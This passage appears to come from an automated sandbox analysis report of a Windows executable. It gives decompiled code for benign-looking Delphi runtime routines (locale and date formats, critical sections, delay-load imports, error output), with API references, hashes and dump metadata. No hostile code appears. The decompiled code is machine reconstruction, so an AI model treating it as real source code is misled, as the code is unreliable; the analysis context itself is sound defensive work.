				if(_t55 == 0) {
					_t214 = GetThreadLocale();
				}
				_t172 =  *0x416f50; // 0x416f54
				E00409D24(_t151 + 0xbc, _t172);
				E0041E7CC(_t214, _t151, _t151, _t211, _t214, _t224);
				E0041E4A0(_t214, _t151, _t151, _t211, _t214);
				E0041E55C(_t214, _t151, _t151, _t211, _t214);
				E0041E034(_t214, 0, 0x14,  &_v20);
				E00407E00(_t151, _v20);
				E0041E034(_t214, 0x41e3ac, 0x1b,  &_v24);
				 *((char*)(_t151 + 4)) = E0041A1C4(0x41e3ac, 0, _t219);
				E0041E034(_t214, 0x41e3ac, 0x1c,  &_v28);
				 *((char*)(_t151 + 0xc6)) = E0041A1C4(0x41e3ac, 0, _t219);
				 *((short*)(_t151 + 0xc0)) = E0041E080(_t214, 0x2c, 0xf);
				 *((short*)(_t151 + 0xc2)) = E0041E080(_t214, 0x2e, 0xe);
				E0041E034(_t214, 0x41e3ac, 0x19,  &_v32);
				 *((char*)(_t151 + 5)) = E0041A1C4(0x41e3ac, 0, _t219);
				_t212 = E0041E080(_t214, 0x2f, 0x1d);
				 *(_t151 + 6) = _t212;
				_push(_t212);
				E0041EB18(_t214, _t151, L"m/d/yy", 0x1f, _t212, _t214, _t219,  &_v36);
				E00407E00(_t151 + 0xc, _v36);
				_push( *(_t151 + 6) & 0x0000ffff);
				E0041EB18(_t214, _t151, L"mmmm d, yyyy", 0x20, _t212, _t214, _t219,  &_v40);
				E00407E00(_t151 + 0x10, _v40);
				 *((short*)(_t151 + 8)) = E0041E080(_t214, 0x3a, 0x1e);
				E0041E034(_t214, 0x41e400, 0x28,  &_v44);
				E00407E00(_t151 + 0x14, _v44);
				E0041E034(_t214, 0x41e414, 0x29,  &_v48);
				E00407E00(_t151 + 0x18, _v48);
				E00407A20( &_v12);
				E00407A20( &_v16);
				E0041E034(_t214, 0x41e3ac, 0x25,  &_v52);
				_t121 = E0041A1C4(0x41e3ac, 0, _t219);
				_t220 = _t121;
				if(_t121 != 0) {
					E00407E48( &_v8, 0x41e438);
				} else {
					E00407E48( &_v8, 0x41e428);
				}
				E0041E034(_t214, 0x41e3ac, 0x23,  &_v56);
				_t128 = E0041A1C4(0x41e3ac, 0, _t220);
				_t221 = _t128;
				if(_t128 == 0) {
					E0041E034(_t214, 0x41e3ac, 0x1005,  &_v60);
					if(E0041A1C4(0x41e3ac, 0, _t221) != 0) {
						E00407E48( &_v12, L"AMPM ");
					} else {
						E00407E48( &_v16, L" AMPM");
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
				_push(_v16);
				E004087C4(_t151 + 0x1c, _t151, 4, _t212, _t214);
				_push(_v12);
				_push(_v8);
				_push(L":mm:ss");
				_push(_v16);
				E004087C4(_t151 + 0x20, _t151, 4, _t212, _t214);
				 *((short*)(_t151 + 0xa)) = E0041E080(_t214, 0x2c, 0xc);
				 *((short*)(_t151 + 0xc4)) = 0x32;
				_pop(_t204);
				 *[fs:eax] = _t204;
				_push(0x41e398);
				return E00407A80( &_v60, 0xe);
			}

0x0041e0ac
0x0041e0ac
0x0041e0ad
0x0041e0af
0x0041e0b4
0x0041e0b4
0x0041e0b6
0x0041e0b8
0x0041e0b8
0x0041e0bd
0x0041e0be
0x0041e0c0
0x0041e0c4
0x0041e0c5
0x0041e0ca
0x0041e0cd
0x0041e0d3
0x0041e0d8
0x0041e0da
0x0041e0e1
0x0041e0e1
0x0041e0e9
0x0041e0ef
0x0041e0f8
0x0041e101
0x0041e10a
0x0041e11c
0x0041e126
0x0041e13b
0x0041e14a
0x0041e15d
0x0041e16c
0x0041e182
0x0041e199
0x0041e1b0
0x0041e1bf
0x0041e1d2
0x0041e1d4
0x0041e1d8
0x0041e1e9
0x0041e1f4
0x0041e1fd
0x0041e20e
0x0041e219
0x0041e22e
0x0041e242
0x0041e24d
0x0041e262
0x0041e26d
0x0041e275
0x0041e27d
0x0041e292
0x0041e29c
0x0041e2a1
0x0041e2a3
0x0041e2bc
0x0041e2a5
0x0041e2ad
0x0041e2ad
0x0041e2d1
0x0041e2db
0x0041e2e0
0x0041e2e2
0x0041e2f4
0x0041e305
0x0041e31e
0x0041e307
0x0041e30f
0x0041e30f
0x0041e305
0x0041e323
0x0041e326
0x0041e329
0x0041e32e
0x0041e339
0x0041e33e
0x0041e341
0x0041e344
0x0041e349
0x0041e354
0x0041e369
0x0041e36d
0x0041e378
0x0041e37b
0x0041e37e
0x0041e390

APIs

IsValidLocale.KERNEL32(?,00000001,00000000,0041E391,?,?,?,?,00000000,00000000), ref: 0041E0D3
GetThreadLocale.KERNEL32(?,00000001,00000000,0041E391,?,?,?,?,00000000,00000000), ref: 0041E0DC

Part of subcall function 0041E080: GetLocaleInfoW.KERNEL32(?,0000000F,?,00000002,0000002C,?,?,?,0041E182,?,00000001,00000000,0041E391), ref: 0041E093

Part of subcall function 0041E034: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 0041E052

Strings

AMPM, xrefs: 0041E30A
mmmm d, yyyy, xrefs: 0041E202
ToA, xrefs: 0041E0E9
2, xrefs: 0041E36D
m/d/yy, xrefs: 0041E1DD
:mm:ss, xrefs: 0041E344
:mm, xrefs: 0041E329
AMPM , xrefs: 0041E319

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$Info$ThreadValid
String ID: AMPM$2$:mm$:mm:ss$AMPM $ToA$m/d/yy$mmmm d, yyyy
API String ID: 233154393-2808312488
Opcode ID: 89dbd54baef797781c63ab5ee0a362cfcea0ac090ff54d53303b749289e312d8
Instruction ID: 756c878950b08f5201d8436663b045c7a1b9734561897f0b9d621fb0846820d7
Opcode Fuzzy Hash: 89dbd54baef797781c63ab5ee0a362cfcea0ac090ff54d53303b749289e312d8
Instruction Fuzzy Hash: 887134387011199BDB05EB67C841BDE76AADF88304F50807BF904AB246DB3DDD82879E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7E4, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0040A7E4(signed short __eax, void* __ebx, intOrPtr* __edx, void* __edi, void* __esi) {
				char _v8;
				void* _t18;
				signed short _t28;
				intOrPtr _t35;
				intOrPtr* _t44;
				intOrPtr _t47;

				_t42 = __edi;
				_push(0);
				_push(__ebx);
				_push(__esi);
				_t44 = __edx;
				_t28 = __eax;
				_push(_t47);
				_push(0x40a8e8);
				_push( *[fs:eax]);
				 *[fs:eax] = _t47;
				EnterCriticalSection(0x4bdc10);
				if(_t28 !=  *0x4bdc28) {
					LeaveCriticalSection(0x4bdc10);
					E00407A20(_t44);
					if(IsValidLocale(_t28 & 0x0000ffff, 2) != 0) {
						if( *0x4bdc0c == 0) {
							_t18 = E0040A4CC(_t28, _t28, _t44, __edi, _t44);
							L00403738();
							if(_t28 != _t18) {
								if( *_t44 != 0) {
									_t18 = E004086E4(_t44, E0040A900);
								}
								L00403738();
								E0040A4CC(_t18, _t28,  &_v8, _t42, _t44);
								E004086E4(_t44, _v8);
							}
						} else {
							E0040A6C8(_t28, _t44);
						}
					}
					EnterCriticalSection(0x4bdc10);
					 *0x4bdc28 = _t28;
					E0040A34C(0x4bdc2a, E004084EC( *_t44), 0xaa);
					LeaveCriticalSection(0x4bdc10);
				} else {
					E0040858C(_t44, 0x55, 0x4bdc2a);
					LeaveCriticalSection(0x4bdc10);
				}
				_pop(_t35);
				 *[fs:eax] = _t35;
				_push(E0040A8EF);
				return E00407A20( &_v8);
			}

0x0040a7e4
0x0040a7e7
0x0040a7e9
0x0040a7ea
0x0040a7eb
0x0040a7ed
0x0040a7f1
0x0040a7f2
0x0040a7f7
0x0040a7fa
0x0040a802
0x0040a80e
0x0040a835
0x0040a83c
0x0040a84e
0x0040a857
0x0040a868
0x0040a86d
0x0040a875
0x0040a87a
0x0040a883
0x0040a883
0x0040a888
0x0040a890
0x0040a89a
0x0040a89a
0x0040a859
0x0040a85d
0x0040a85d
0x0040a857
0x0040a8a4
0x0040a8a9
0x0040a8c3
0x0040a8cd
0x0040a810
0x0040a81c
0x0040a826
0x0040a826
0x0040a8d4
0x0040a8d7
0x0040a8da
0x0040a8e7

APIs

EnterCriticalSection.KERNEL32(004BDC10,00000000,0040A8E8,?,?,?,00000000,?,0040B1C8,00000000,0040B227,?,?,00000000,00000000,00000000), ref: 0040A802
LeaveCriticalSection.KERNEL32(004BDC10,004BDC10,00000000,0040A8E8,?,?,?,00000000,?,0040B1C8,00000000,0040B227,?,?,00000000,00000000), ref: 0040A826
LeaveCriticalSection.KERNEL32(004BDC10,004BDC10,00000000,0040A8E8,?,?,?,00000000,?,0040B1C8,00000000,0040B227,?,?,00000000,00000000), ref: 0040A835
IsValidLocale.KERNEL32(00000000,00000002,004BDC10,004BDC10,00000000,0040A8E8,?,?,?,00000000,?,0040B1C8,00000000,0040B227), ref: 0040A847
EnterCriticalSection.KERNEL32(004BDC10,00000000,00000002,004BDC10,004BDC10,00000000,0040A8E8,?,?,?,00000000,?,0040B1C8,00000000,0040B227), ref: 0040A8A4
LeaveCriticalSection.KERNEL32(004BDC10,004BDC10,00000000,00000002,004BDC10,004BDC10,00000000,0040A8E8,?,?,?,00000000,?,0040B1C8,00000000,0040B227), ref: 0040A8CD

Strings

en-US,en,, xrefs: 0040A812, 0040A8B9

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-US,en,
API String ID: 975949045-3579323720
Opcode ID: e3721d42ea745a9edd8ebaecb4ab5b2828546a05d0e92c0f55165f56426ca85b
Instruction ID: af4c48ae6f9d4b9345a2e7437780db60bfff4a38cfd5d6d0e3948ff18df55379
Opcode Fuzzy Hash: e3721d42ea745a9edd8ebaecb4ab5b2828546a05d0e92c0f55165f56426ca85b
Instruction Fuzzy Hash: 31218461B1031077DA11BB668C03B5E29A89B44705BA0887BB140B32D2EEBD8D52D66F

Uniqueness

Uniqueness Score: -1.00%

Function 0042301C, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 82
registryCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E0042301C(void* __ebx, void* __esi, void* __eflags) {
				char _v8;
				void* _v12;
				char _v16;
				char _v20;
				intOrPtr* _t21;
				intOrPtr _t61;
				void* _t68;

				_push(__ebx);
				_v20 = 0;
				_v8 = 0;
				_push(_t68);
				_push(0x423116);
				_push( *[fs:eax]);
				 *[fs:eax] = _t68 + 0xfffffff0;
				_t21 = E0040E1A8(__ebx, __esi, GetModuleHandleW(L"kernel32.dll"), L"GetUserDefaultUILanguage");
				if(_t21 == 0) {
					if(E0041FF2C() != 2) {
						if(E00422FF4(0, L"Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v12, 1, 0) == 0) {
							E00422FE8();
							RegCloseKey(_v12);
						}
					} else {
						if(E00422FF4(0, L".DEFAULT\\Control Panel\\International", 0x80000003,  &_v12, 1, 0) == 0) {
							E00422FE8();
							RegCloseKey(_v12);
						}
					}
					E0040873C( &_v20, _v8, 0x42322c);
					E00405920(_v20,  &_v16);
					if(_v16 != 0) {
					}
				} else {
					 *_t21();
				}
				_pop(_t61);
				 *[fs:eax] = _t61;
				_push(E0042311D);
				E00407A20( &_v20);
				return E00407A20( &_v8);
			}

0x00423022
0x00423025
0x00423028
0x0042302d
0x0042302e
0x00423033
0x00423036
0x00423049
0x00423050
0x00423063
0x004230b8
0x004230c5
0x004230ce
0x004230ce
0x00423065
0x00423080
0x0042308d
0x00423096
0x00423096
0x00423080
0x004230de
0x004230e9
0x004230f4
0x004230f4
0x00423052
0x00423052
0x00423054
0x004230fa
0x004230fd
0x00423100
0x00423108
0x00423115

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00423116), ref: 00423043

Part of subcall function 0040E1A8: GetProcAddress.KERNEL32(?,00423116), ref: 0040E1D2

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00423116), ref: 00423096

Strings

kernel32.dll, xrefs: 0042303E
GetUserDefaultUILanguage, xrefs: 00423039
Control Panel\Desktop\ResourceLocale, xrefs: 004230A5
Locale, xrefs: 00423085
.DEFAULT\Control Panel\International, xrefs: 0042306D

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 0c53a133d6644a1b94ef3c959f72937b5652b11bdcaf1ce6cf384129006bdbe5
Instruction ID: 05790bdd6973bc135d390eb6e5b6569f0703c8ea8b4006eead18837270f0a894
Opcode Fuzzy Hash: 0c53a133d6644a1b94ef3c959f72937b5652b11bdcaf1ce6cf384129006bdbe5
Instruction Fuzzy Hash: 39217930B00228ABDB10EEB5DD42A9F73F4EB44345FA04477A500E3281DB7CAB41962D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D218, Relevance: 13.8, APIs: 9, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0040D218(void* __eflags, intOrPtr _a4, intOrPtr* _a8) {
				long _v8;
				signed int _v12;
				long _v16;
				void* _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				struct HINSTANCE__** _v48;
				CHAR* _v52;
				void _v56;
				long _v60;
				_Unknown_base(*)()* _v64;
				struct HINSTANCE__* _v68;
				CHAR* _v72;
				signed int _v76;
				CHAR* _v80;
				intOrPtr* _v84;
				void* _v88;
				void _v92;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				long _t113;
				intOrPtr* _t119;
				void* _t124;
				void _t126;
				long _t128;
				struct HINSTANCE__* _t142;
				long _t166;
				signed int* _t190;
				_Unknown_base(*)()* _t191;
				void* _t194;
				intOrPtr _t196;

				_push(_a4);
				memcpy( &_v56, 0x4b7c40, 8 << 2);
				_pop(_t194);
				_v56 =  *0x4b7c40;
				_v52 = E0040D6C8( *0x004B7C44);
				_v48 = E0040D6D8( *0x004B7C48);
				_v44 = E0040D6E8( *0x004B7C4C);
				_v40 = E0040D6F8( *0x004B7C50);
				_v36 = E0040D6F8( *0x004B7C54);
				_v32 = E0040D6F8( *0x004B7C58);
				_v28 =  *0x004B7C5C;
				memcpy( &_v92, 0x4b7c60, 9 << 2);
				_t196 = _t194;
				_v88 = 0x4b7c60;
				_v84 = _a8;
				_v80 = _v52;
				if((_v56 & 0x00000001) == 0) {
					_t166 =  *0x4b7c84; // 0x0
					_v8 = _t166;
					_v8 =  &_v92;
					RaiseException(0xc06d0057, 0, 1,  &_v8);
					return 0;
				}
				_t104 = _a8 - _v44;
				_t142 =  *_v48;
				if(_t104 < 0) {
					_t104 = _t104 + 3;
				}
				_v12 = _t104 >> 2;
				_t106 = _v12;
				_t190 = (_t106 << 2) + _v40;
				_t108 = (_t106 & 0xffffff00 | (_t190[0] & 0x00000080) == 0x00000000) & 0x00000001;
				_v76 = _t108;
				if(_t108 == 0) {
					_v72 =  *_t190 & 0x0000ffff;
				} else {
					_v72 = E0040D708( *_t190) + 2;
				}
				_t191 = 0;
				if( *0x4be640 == 0) {
					L10:
					if(_t142 != 0) {
						L25:
						_v68 = _t142;
						if( *0x4be640 != 0) {
							_t191 =  *0x4be640(2,  &_v92);
						}
						if(_t191 != 0) {
							L36:
							if(_t191 == 0) {
								_v60 = GetLastError();
								if( *0x4be644 != 0) {
									_t191 =  *0x4be644(4,  &_v92);
								}
								if(_t191 == 0) {
									_t113 =  *0x4b7c8c; // 0x0
									_v24 = _t113;
									_v24 =  &_v92;
									RaiseException(0xc06d007f, 0, 1,  &_v24);
									_t191 = _v64;
								}
							}
							goto L41;
						} else {
							if( *((intOrPtr*)(_t196 + 0x14)) == 0 ||  *((intOrPtr*)(_t196 + 0x1c)) == 0) {
								L35:
								_t191 = GetProcAddress(_t142, _v72);
								goto L36;
							} else {
								_t119 =  *((intOrPtr*)(_t142 + 0x3c)) + _t142;
								if( *_t119 != 0x4550 ||  *((intOrPtr*)(_t119 + 8)) != _v28 || (( *(_t119 + 0x34) & 0xffffff00 |  *(_t119 + 0x34) == _t142) & 0x00000001) == 0) {
									goto L35;
								} else {
									_t191 =  *((intOrPtr*)(_v36 + _v12 * 4));
									if(_t191 == 0) {
										goto L35;
									}
									L41:
									 *_a8 = _t191;
									goto L42;
								}
							}
						}
					}
					if( *0x4be640 != 0) {
						_t142 =  *0x4be640(1,  &_v92);
					}
					if(_t142 == 0) {
						_t142 = LoadLibraryA(_v80);
					}
					if(_t142 != 0) {
						L20:
						if(_t142 == E0040CBA0(_v48, _t142)) {
							FreeLibrary(_t142);
						} else {
							if( *((intOrPtr*)(_t196 + 0x18)) != 0) {
								_t124 = LocalAlloc(0x40, 8);
								_v20 = _t124;
								if(_t124 != 0) {
									 *((intOrPtr*)(_v20 + 4)) = _t196;
									_t126 =  *0x4b7c3c; // 0x0
									 *_v20 = _t126;
									 *0x4b7c3c = _v20;
								}
							}
						}
						goto L25;
					} else {
						_v60 = GetLastError();
						if( *0x4be644 != 0) {
							_t142 =  *0x4be644(3,  &_v92);
						}
						if(_t142 != 0) {
							goto L20;
						} else {
							_t128 =  *0x4b7c88; // 0x0
							_v16 = _t128;
							_v16 =  &_v92;
							RaiseException(0xc06d007e, 0, 1,  &_v16);
							return _v64;
						}
					}
				} else {
					_t191 =  *0x4be640(0,  &_v92);
					if(_t191 == 0) {
						goto L10;
					} else {
						L42:
						if( *0x4be640 != 0) {
							_v60 = 0;
							_v68 = _t142;
							_v64 = _t191;
							 *0x4be640(5,  &_v92);
						}
						return _t191;
					}
				}
			}

0x0040d22c
0x0040d232
0x0040d234
0x0040d237
0x0040d244
0x0040d251
0x0040d25e
0x0040d26b
0x0040d278
0x0040d285
0x0040d28e
0x0040d29c
0x0040d29e
0x0040d29f
0x0040d2a5
0x0040d2ab
0x0040d2b2
0x0040d2b4
0x0040d2ba
0x0040d2c0
0x0040d2d0
0x00000000
0x0040d2d5
0x0040d2e2
0x0040d2e7
0x0040d2e9
0x0040d2eb
0x0040d2eb
0x0040d2f1
0x0040d2f4
0x0040d2fc
0x0040d306
0x0040d309
0x0040d30e
0x0040d329
0x0040d310
0x0040d31c
0x0040d31c
0x0040d32c
0x0040d335
0x0040d34e
0x0040d350
0x0040d412
0x0040d412
0x0040d41c
0x0040d42a
0x0040d42a
0x0040d42e
0x0040d47b
0x0040d47d
0x0040d484
0x0040d48e
0x0040d49c
0x0040d49c
0x0040d4a0
0x0040d4a2
0x0040d4a7
0x0040d4ad
0x0040d4bd
0x0040d4c2
0x0040d4c2
0x0040d4a0
0x00000000
0x0040d430
0x0040d434
0x0040d46f
0x0040d479
0x00000000
0x0040d43c
0x0040d43f
0x0040d447
0x00000000
0x0040d460
0x0040d466
0x0040d46b
0x00000000
0x00000000
0x0040d4c5
0x0040d4c8
0x00000000
0x0040d4c8
0x0040d447
0x0040d434
0x0040d42e
0x0040d35d
0x0040d36b
0x0040d36b
0x0040d36f
0x0040d37a
0x0040d37a
0x0040d37e
0x0040d3cb
0x0040d3d7
0x0040d40d
0x0040d3d9
0x0040d3dd
0x0040d3e3
0x0040d3e8
0x0040d3ed
0x0040d3f4
0x0040d3fa
0x0040d3ff
0x0040d404
0x0040d404
0x0040d3ed
0x0040d3dd
0x00000000
0x0040d380
0x0040d385
0x0040d38f
0x0040d39d
0x0040d39d
0x0040d3a1
0x00000000
0x0040d3a3
0x0040d3a3
0x0040d3a8
0x0040d3ae
0x0040d3be
0x00000000
0x0040d3c3
0x0040d3a1
0x0040d337
0x0040d343
0x0040d347
0x00000000
0x0040d349
0x0040d4ca
0x0040d4d1
0x0040d4d5
0x0040d4d8
0x0040d4db
0x0040d4e4
0x0040d4e4
0x00000000
0x0040d4ea
0x0040d347

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0040D2D0

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 4fdbadfbff537c598349848257c7330453a14fb024132e1a583ffc8385a63ee1
Instruction ID: 6bdc8742f8c12d3c05e6aa795b4e0fa0c425ed74332de7fca684440f38d882f1
Opcode Fuzzy Hash: 4fdbadfbff537c598349848257c7330453a14fb024132e1a583ffc8385a63ee1
Instruction Fuzzy Hash: 7CA16F75D002089FDB14DFE9D881BAEB7B5BB88300F14423AE505B73C1DB78A949CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004047B0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E004047B0(int __eax, void* __ecx, void* __edx) {
				long _v12;
				int _t4;
				long _t7;
				void* _t11;
				long _t12;
				void* _t13;
				long _t18;

				_t4 = __eax;
				_t24 = __edx;
				_t20 = __eax;
				if( *0x4bb058 == 0) {
					_push(0x2010);
					_push(__edx);
					_push(__eax);
					_push(0);
					L00403780();
				} else {
					_t7 = E00407EF0(__edx);
					WriteFile(GetStdHandle(0xfffffff4), _t24, _t7,  &_v12, 0);
					_t11 =  *0x4b7078; // 0x403920
					_t12 = E00407EF0(_t11);
					_t13 =  *0x4b7078; // 0x403920
					WriteFile(GetStdHandle(0xfffffff4), _t13, _t12,  &_v12, 0);
					_t18 = E00407EF0(_t20);
					_t4 = WriteFile(GetStdHandle(0xfffffff4), _t20, _t18,  &_v12, 0);
				}
				return _t4;
			}

0x004047b0
0x004047b3
0x004047b5
0x004047be
0x00404821
0x00404826
0x00404827
0x00404828
0x0040482a
0x004047c0
0x004047c9
0x004047d8
0x004047e4
0x004047e9
0x004047ef
0x004047fd
0x0040480b
0x0040481a
0x0040481a
0x00404832

APIs

GetStdHandle.KERNEL32(000000F4,00403924,00000000,?,00000000,?,?,00000000,0040515B), ref: 004047D2
WriteFile.KERNEL32(00000000,000000F4,00403924,00000000,?,00000000,?,?,00000000,0040515B), ref: 004047D8
GetStdHandle.KERNEL32(000000F4,00403920,00000000,?,00000000,00000000,000000F4,00403924,00000000,?,00000000,?,?,00000000,0040515B), ref: 004047F7
WriteFile.KERNEL32(00000000,000000F4,00403920,00000000,?,00000000,00000000,000000F4,00403924,00000000,?,00000000,?,?,00000000,0040515B), ref: 004047FD
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000000,000000F4,00403920,00000000,?,00000000,00000000,000000F4,00403924,00000000,?), ref: 00404814
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000000,000000F4,00403920,00000000,?,00000000,00000000,000000F4,00403924,00000000), ref: 0040481A

Strings

9@, xrefs: 004047E4, 004047EF

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite
String ID: 9@
API String ID: 3320372497-3209974744
Opcode ID: 5f8d133322f34133c732956f1222a9d0eafcb790ac979970e9ef56a2ae19cd1b
Instruction ID: 9b3b4e35e49a927b8991458b20a1a8ec0ccf5b925403b1971dfbe1b0899ab5f0
Opcode Fuzzy Hash: 5f8d133322f34133c732956f1222a9d0eafcb790ac979970e9ef56a2ae19cd1b
Instruction Fuzzy Hash: 2001AEE25492103DE110F7A69C85F57168C8B4472AF10467F7218F35D2C9395D44927E

Uniqueness

Uniqueness Score: -1.00%

Function 0041F0F4, Relevance: 12.1, APIs: 8, Instructions: 97
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0041F0F4(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				char* _v8;
				long _v12;
				short _v140;
				short _v2188;
				void* _t15;
				char* _t17;
				intOrPtr _t19;
				intOrPtr _t30;
				long _t48;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t61;
				void* _t64;

				_push(__ebx);
				_push(__esi);
				_v8 = 0;
				_push(_t64);
				_push(0x41f219);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t64 + 0xfffff778;
				_t61 = E0041EEFC(_t15, __ebx,  &_v2188, __edx, __edi, __esi, 0x400);
				_t17 =  *0x4ba6c0; // 0x4bb058
				if( *_t17 == 0) {
					_t19 =  *0x4ba4f8; // 0x40e710
					_t11 = _t19 + 4; // 0xffed
					LoadStringW(E00409FF0( *0x4be634),  *_t11,  &_v140, 0x40);
					MessageBoxW(0,  &_v2188,  &_v140, 0x2010);
				} else {
					_t30 =  *0x4ba524; // 0x4bb340
					E00405564(E00405820(_t30));
					_t48 = WideCharToMultiByte(1, 0,  &_v2188, _t61, 0, 0, 0, 0);
					_push(_t48);
					E00409C00();
					WideCharToMultiByte(1, 0,  &_v2188, _t61, _v8, _t48, 0, 0);
					WriteFile(GetStdHandle(0xfffffff4), _v8, _t48,  &_v12, 0);
					WriteFile(GetStdHandle(0xfffffff4), 0x41f234, 2,  &_v12, 0);
				}
				_pop(_t56);
				 *[fs:eax] = _t56;
				_push(0x41f220);
				_t57 =  *0x41f0c4; // 0x41f0c8
				return E00409D24( &_v8, _t57);
			}

0x0041f0fd
0x0041f0fe
0x0041f101
0x0041f106
0x0041f107
0x0041f10c
0x0041f10f
0x0041f122
0x0041f124
0x0041f12c
0x0041f1ca
0x0041f1cf
0x0041f1de
0x0041f1f8
0x0041f132
0x0041f132
0x0041f13c
0x0041f15a
0x0041f15c
0x0041f16b
0x0041f188
0x0041f1a0
0x0041f1ba
0x0041f1ba
0x0041f1ff
0x0041f202
0x0041f205
0x0041f20d
0x0041f218

APIs

Part of subcall function 0041EEFC: VirtualQuery.KERNEL32(?,?,0000001C,00000000,0041F0A8), ref: 0041EF2F
Part of subcall function 0041EEFC: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 0041EF53
Part of subcall function 0041EEFC: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 0041EF6E
Part of subcall function 0041EEFC: LoadStringW.USER32(00000000,0000FFEC,?,00000100), ref: 0041F009

WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,00000000,00000000,00000400,00000000,0041F219), ref: 0041F155
WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041F188
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041F19A
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041F1A0
GetStdHandle.KERNEL32(000000F4,0041F234,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?), ref: 0041F1B4
WriteFile.KERNEL32(00000000,000000F4,0041F234,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000), ref: 0041F1BA
LoadStringW.USER32(00000000,0000FFED,?,00000040), ref: 0041F1DE
MessageBoxW.USER32(00000000,?,?,00002010), ref: 0041F1F8

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
